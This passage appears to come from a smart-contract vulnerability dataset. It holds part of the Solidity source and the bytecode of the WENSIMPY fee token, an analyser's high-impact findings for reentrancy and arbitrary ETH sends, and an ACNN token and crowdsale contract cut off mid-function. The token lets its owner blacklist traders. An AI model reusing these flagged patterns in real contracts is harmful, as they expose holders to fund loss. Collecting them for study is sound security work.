string private constant _name = "Wen and Simpy";
string private constant _symbol = "WENSIMPY";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x724Dd23C0ec49Cb683c8794286D09a9338755b78), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f8578063bc33718214610318578063c3c8cd8014610338578063c9567bf91461034d578063dd62ed3e1461036257600080fd5b8063715018a61461026a5780638da5cb5b1461027f57806395d89b41146102a7578063a9059cbb146102d857600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f95780635932ead1146102155780636fc3eaec1461023557806370a082311461024a57600080fd5b806306fdde0314610119578063095ea7b31461016157806318160ddd1461019157806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600d81526c57656e20616e642053696d707960981b60208201525b6040516101589190611973565b60405180910390f35b34801561016d57600080fd5b5061018161017c366004611804565b6103a8565b6040519015158152602001610158565b34801561019d57600080fd5b50683635c9adc5dea000005b604051908152602001610158565b3480156101c357600080fd5b506101816101d23660046117c4565b6103bf565b3480156101e357600080fd5b506101f76101f2366004611754565b610428565b005b34801561020557600080fd5b5060405160098152602001610158565b34801561022157600080fd5b506101f76102303660046118f6565b61047c565b34801561024157600080fd5b506101f76104c4565b34801561025657600080fd5b506101a9610265366004611754565b6104f1565b34801561027657600080fd5b506101f7610513565b34801561028b57600080fd5b506000546040516001600160a01b039091168152602001610158565b3480156102b357600080fd5b5060408051808201909152600881526757454e53494d505960c01b602082015261014b565b3480156102e457600080fd5b506101816102f3366004611804565b610587565b34801561030457600080fd5b506101f761031336600461182f565b610594565b34801561032457600080fd5b506101f761033336600461192e565b610638565b34801561034457600080fd5b506101f76106ed565b34801561035957600080fd5b506101f7610723565b34801561036e57600080fd5b506101a961037d36600461178c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b5338484610ae6565b5060015b92915050565b60006103cc848484610c0a565b61041e843361041985604051806060016040528060288152602001611b44602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa4565b610ae6565b5060019392505050565b6000546001600160a01b0316331461045b5760405162461bcd60e51b8152600401610452906119c6565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a65760405162461bcd60e51b8152600401610452906119c6565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e457600080fd5b476104ee81610fde565b50565b6001600160a01b0381166000908152600260205260408120546103b990611063565b6000546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610452906119c6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b5338484610c0a565b6000546001600160a01b031633146105be5760405162461bcd60e51b8152600401610452906119c6565b60005b8151811015610634576001600660008484815181106105f057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611ad9565b9150506105c1565b5050565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610452906119c6565b600081116106b25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610452565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600e546001600160a01b0316336001600160a01b03161461070d57600080fd5b6000610718306104f1565b90506104ee816110e7565b6000546001600160a01b0316331461074d5760405162461bcd60e51b8152600401610452906119c6565b601154600160a01b900460ff16156107a75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610452565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e43082683635c9adc5dea00000610ae6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081d57600080fd5b505afa158015610831573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108559190611770565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089d57600080fd5b505afa1580156108b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190611770565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611770565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d7194730610985816104f1565b60008061099a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109fd57600080fd5b505af1158015610a11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a369190611946565b505060118054678ac7230489e8000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aae57600080fd5b505af1158015610ac2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106349190611912565b6001600160a01b038316610b485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610452565b6001600160a01b038216610ba95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610452565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610452565b6001600160a01b038216610cd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610452565b60008111610d325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b6001600a556009600b556000546001600160a01b03848116911614801590610d6857506000546001600160a01b03838116911614155b15610f47576001600160a01b03831660009081526006602052604090205460ff16158015610daf57506001600160a01b03821660009081526006602052604090205460ff16155b610db857600080fd5b6011546001600160a01b038481169116148015610de357506010546001600160a01b03838116911614155b8015610e0857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e1d5750601154600160b81b900460ff165b15610e7a57601254811115610e3157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e5557600080fd5b610e6042601e611a6b565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ea557506010546001600160a01b03848116911614155b8015610eca57506001600160a01b03831660009081526005602052604090205460ff16155b15610eda576001600a556009600b555b6000610ee5306104f1565b601154909150600160a81b900460ff16158015610f1057506011546001600160a01b03858116911614155b8015610f255750601154600160b01b900460ff165b15610f4557610f33816110e7565b478015610f4357610f4347610fde565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8957506001600160a01b03831660009081526005602052604090205460ff165b15610f92575060005b610f9e8484848461128c565b50505050565b60008184841115610fc85760405162461bcd60e51b81526004016104529190611973565b506000610fd58486611ac2565b95945050505050565b600e546001600160a01b03166108fc610ff88360026112ba565b6040518115909202916000818181858888f19350505050158015611020573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61103b8360026112ba565b6040518115909202916000818181858888f19350505050158015610634573d6000803e3d6000fd5b60006008548211156110ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610452565b60006110d46112fc565b90506110e083826112ba565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119157600080fd5b505afa1580156111a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c99190611770565b816001815181106111ea57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112109130911684610ae6565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112499085906000908690309042906004016119fb565b600060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b806112995761129961131f565b6112a484848461134d565b80610f9e57610f9e600c54600a55600d54600b55565b60006110e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611444565b6000806000611309611472565b909250905061131882826112ba565b9250505090565b600a5415801561132f5750600b54155b1561133657565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061135f876114b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113919087611511565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113c09086611553565b6001600160a01b0389166000908152600260205260409020556113e2816115b2565b6113ec84836115fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143191815260200190565b60405180910390a3505050505050505050565b600081836114655760405162461bcd60e51b81526004016104529190611973565b506000610fd58486611a83565b6008546000908190683635c9adc5dea0000061148e82826112ba565b8210156114ab57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114d18a600a54600b54611620565b92509250925060006114e16112fc565b905060008060006114f48e878787611675565b919e509c509a509598509396509194505050505091939550919395565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa4565b6000806115608385611a6b565b9050838110156110e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b60006115bc6112fc565b905060006115ca83836116c5565b306000908152600260205260409020549091506115e79082611553565b30600090815260026020526040902055505050565b6008546116099083611511565b6008556009546116199082611553565b6009555050565b600080808061163a606461163489896116c5565b906112ba565b9050600061164d60646116348a896116c5565b905060006116658261165f8b86611511565b90611511565b9992985090965090945050505050565b600080808061168488866116c5565b9050600061169288876116c5565b905060006116a088886116c5565b905060006116b28261165f8686611511565b939b939a50919850919650505050505050565b6000826116d4575060006103b9565b60006116e08385611aa3565b9050826116ed8583611a83565b146110e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b803561174f81611b20565b919050565b600060208284031215611765578081fd5b81356110e081611b20565b600060208284031215611781578081fd5b81516110e081611b20565b6000806040838503121561179e578081fd5b82356117a981611b20565b915060208301356117b981611b20565b809150509250929050565b6000806000606084860312156117d8578081fd5b83356117e381611b20565b925060208401356117f381611b20565b929592945050506040919091013590565b60008060408385031215611816578182fd5b823561182181611b20565b946020939093013593505050565b60006020808385031215611841578182fd5b823567ffffffffffffffff80821115611858578384fd5b818501915085601f83011261186b578384fd5b81358181111561187d5761187d611b0a565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611b0a565b604052828152858101935084860182860187018a10156118c0578788fd5b8795505b838610156118e9576118d581611744565b8552600195909501949386019386016118c4565b5098975050505050505050565b600060208284031215611907578081fd5b81356110e081611b35565b600060208284031215611923578081fd5b81516110e081611b35565b60006020828403121561193f578081fd5b5035919050565b60008060006060848603121561195a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199f57858101830151858201604001528201611983565b818111156119b05783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a4a5784516001600160a01b031683529383019391830191600101611a25565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7e57611a7e611af4565b500190565b600082611a9e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611abd57611abd611af4565b500290565b600082821015611ad457611ad4611af4565b500390565b6000600019821415611aed57611aed611af4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ee57600080fd5b80151581146104ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202652ba7ba17730b6223645118e158c7e471635062863a16cee0671877f53ac7664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,963 |
0x8dc2939e2b49693f7e1b9539e2d31d015378f53e | pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 kweiAmount = weiAmount/1000;
// calculate token amount to be created
uint256 tokens = kweiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ACNN is MintableToken, BurnableToken {
string public name = "ACNN";
string public symbol = "ACNN";
uint256 public decimals = 18;
uint256 public maxSupply = 552018 * (10 ** decimals);
function ACNN() public {
}
function transfer(address _to, uint _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract ACNNIco is Ownable, Crowdsale {
using SafeMath for uint256;
mapping (address => uint256) public boughtTokens;
mapping (address => uint256) public claimedAirdropTokens;
// max tokens cap
uint256 public tokenCap = 500000 * (10 ** 18);
// amount of sold tokens
uint256 public soldTokens;
function ACNNIco(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _token
) public
Crowdsale (_startTime, _endTime, _rate, _wallet)
{
require(_token != 0x0);
token = ACNN(_token);
}
/**
* @dev Set the ico token contract
*/
function createTokenContract() internal returns (MintableToken) {
return ACNN(0x0);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
// get wei amount
uint256 weiAmount = msg.value;
uint256 kweiAmount = weiAmount/1000;
// calculate token amount to be transferred
uint256 tokens = kweiAmount.mul(rate);
// calculate new total sold
uint256 newTotalSold = soldTokens.add(tokens);
// check if we are over the max token cap
require(newTotalSold <= tokenCap);
// update states
weiRaised = weiRaised.add(weiAmount);
soldTokens = newTotalSold;
// mint tokens to beneficiary
token.mint(beneficiary, tokens);
TokenPurchase(
msg.sender,
beneficiary,
weiAmount,
tokens
);
forwardFunds();
}
function updateEndDate(uint256 _endTime) public onlyOwner {
require(_endTime > now);
require(_endTime > startTime);
endTime = _endTime;
}
function closeTokenSale() public onlyOwner {
require(hasEnded());
// transfer token ownership to ico owner
token.transferOwnership(owner);
}
function airdrop(address[] users, uint256[] amounts) public onlyOwner {
require(users.length > 0);
require(amounts.length > 0);
require(users.length == amounts.length);
uint256 oldRate = 1;
uint256 newRate = 2;
uint len = users.length;
for (uint i = 0; i < len; i++) {
address to = users[i];
uint256 value = amounts[i];
uint256 oldTokens = value.mul(oldRate);
